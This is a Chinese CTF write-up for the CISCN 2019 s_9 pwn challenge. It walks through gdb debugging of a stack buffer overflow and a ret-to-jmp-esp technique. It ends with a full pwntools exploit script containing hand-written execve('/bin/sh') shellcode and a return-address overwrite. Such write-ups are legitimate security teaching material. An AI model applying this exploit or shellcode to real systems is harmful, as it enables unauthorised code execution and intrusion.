CISCN_2019_s_9

温馨提示:点击页面下方以展开或折叠目录~

CISCN_2019_s_9

程序逻辑

查看保护

image

  • 32位,无任何保护

伪代码

  • pwn函数

    image

    • fgets读取输入后直接输出
    • 没有调用shellcode
  • hint函数

    image

    • jmp esp:跳转到esp执行
    • esp存放指向栈顶的指针
    • 跳转后会去执行中的指令

调试

  • main处打断点,run后发现直接调用pwn函数,单步进入

    gdb ciscn_s_9

    b main

    r

    s

    此时函数栈帧状态如下

    image

  • 进入pwn函数,首先是当前栈底ebp压栈,更新ebp为当前栈顶esp,然后开辟一块0x28的栈空间

    push ebp

    mov ebp, esp

    sub esp, 0x28

    image

  • 打印字符串,跳过即可

  • 获取数据流输入,写入栈

    lea eax, [ebp+s] ; 把ebp+s的地址给eax

    push eax ; eax入栈

    由于s被定义为-0x20,因此eax从ebp-0x20处(0x148)开始

    image

    构造一个’a’*0x20 + ‘b’*4的输入,发现’a’*0x20填满0x148~0x164,bbbb刚好覆盖ebp地址0x168

    image

  • 返回主函数

    leave ; mov esp, ebp; pop ebp

    ret ; pop eip

    leave执行后栈帧如下

    image

    执行ret后,eip=0x804856f,回到返回地址,函数执行结束

  • hint函数

    image

    可以看到hint有一条跳转到esp的指令,由于栈上代码可执行,可以利用这个跳转到shellcode的位置

思路

  • 在输入的时候可以把hint中的跳转指令的地址覆盖到0x16c即返回地址上,使得pwn函数在运行到ret时不会返回主函数,而是跳转到hint函数

  • rethint后会跳转到esp去执行我们的输入

    image

  • 由于pwn函数写入栈的位置为[ebp+s]也即0x168-0x20=0x148的位置,而我们当前的esp位置为0x170,因此需要把esp减去0x28使其能够刚好读到我们的输入

PWN

编写脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *

context(os='linux')
p = process('./ciscn_s_9')
# p = remote('node3.buuoj.cn',26442)

shellcode ='''
xor eax,eax
xor ecx,ecx
xor edx,edx
push 0x0068732f
push 0x6e69622f
mov ebx,esp
mov al,0xb
int 0x80
'''

shellcode = asm(shellcode)
shell = "sub esp, 0x28; call esp"
shell = asm(shell)
p.recvuntil(">\n")
payload = shellcode.ljust(0x24,b"\x90")
payload += p32(0x8048554) #jmp esp
payload += shell
gdb.attach(p)
p.sendline(payload)
p.interactive()
  • 可供shellcode的长度只有0x20 = 32个字节,因此不能用shellcraft.sh(),此处使用自己编写的shellcode
  • \x90NOP(空操作)指令,为了对齐到双字边界(4的偶数倍)
  • shellcode.ljust(0x24, b”\x90)即为使用\x90(NOP指令)填充到0x168的位置,后面再接上0x8048554jmp esp指令地址

执行效果

  • 0x0804854F打断点,发送payload

image

  • 可以看到此时return的地址已经被覆盖为hintjmp esp的地址了,单步进入看到已经开始执行我们的shellcode

    image

  • 可以看到成功开启shell

    image

  • 完整代码执行效果如下

image